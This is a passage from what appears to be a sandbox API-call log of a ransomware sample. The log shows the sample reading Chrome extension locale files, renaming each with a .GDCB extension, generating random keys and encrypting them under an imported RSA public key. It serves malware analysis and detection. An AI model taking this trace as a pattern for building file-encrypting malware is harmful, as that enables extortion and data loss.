Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.012] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.016] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.019] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe0, lpOverlapped=0x0) returned 1 [0255.028] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.036] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0255.041] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.044] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.046] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.046] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.051] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.051] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.051] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.052] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.054] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783448) returned 1 [0255.054] CryptGetKeyParam (in: hKey=0x6783448, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.054] CryptEncrypt (in: hKey=0x6783448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.054] GetLastError () returned 0x0 [0255.054] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.054] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0255.056] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783148) returned 1 [0255.056] CryptGetKeyParam (in: hKey=0x6783148, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.056] CryptEncrypt (in: hKey=0x6783148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.056] GetLastError () returned 0x0 [0255.056] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.057] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.060] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.063] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xde, lpOverlapped=0x0) returned 1 [0255.072] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.079] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0255.084] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.090] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.090] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.090] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.090] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0255.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.094] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.095] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.095] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.095] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.097] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67837c8) returned 1 [0255.097] CryptGetKeyParam (in: hKey=0x67837c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.097] CryptEncrypt (in: hKey=0x67837c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.097] GetLastError () returned 0x0 [0255.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.097] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.099] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783648) returned 1 [0255.099] CryptGetKeyParam (in: hKey=0x6783648, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.099] CryptEncrypt (in: hKey=0x6783648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.099] GetLastError () returned 0x0 [0255.099] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.099] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.101] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.103] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.106] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x110, lpOverlapped=0x0) returned 1 [0255.115] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.129] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0255.134] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.140] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.140] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.140] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0255.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.145] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.145] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.145] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.148] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783488) returned 1 [0255.148] CryptGetKeyParam (in: hKey=0x6783488, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.148] CryptEncrypt (in: hKey=0x6783488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.148] GetLastError () returned 0x0 [0255.148] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.148] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.150] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67831c8) returned 1 [0255.150] CryptGetKeyParam (in: hKey=0x67831c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.150] CryptEncrypt (in: hKey=0x67831c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.150] GetLastError () returned 0x0 [0255.150] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.150] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.151] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.154] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.157] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe3, lpOverlapped=0x0) returned 1 [0255.165] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.175] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0255.180] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.187] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.188] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.188] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.188] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.192] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.194] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.194] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.194] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.195] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.197] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783608) returned 1 [0255.197] CryptGetKeyParam (in: hKey=0x6783608, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.197] CryptEncrypt (in: hKey=0x6783608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.198] GetLastError () returned 0x0 [0255.198] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.198] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.200] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783188) returned 1 [0255.200] CryptGetKeyParam (in: hKey=0x6783188, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.200] CryptEncrypt (in: hKey=0x6783188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.200] GetLastError () returned 0x0 [0255.200] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.200] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.202] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.206] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.210] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdf, lpOverlapped=0x0) returned 1 [0255.221] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.228] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0255.234] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0255.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.239] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.239] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.239] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.240] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0255.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.245] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.245] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.246] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.248] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67834c8) returned 1 [0255.248] CryptGetKeyParam (in: hKey=0x67834c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.248] CryptEncrypt (in: hKey=0x67834c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.248] GetLastError () returned 0x0 [0255.248] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.248] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.298] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783508) returned 1 [0255.298] CryptGetKeyParam (in: hKey=0x6783508, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.298] CryptEncrypt (in: hKey=0x6783508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.298] GetLastError () returned 0x0 [0255.298] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.298] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 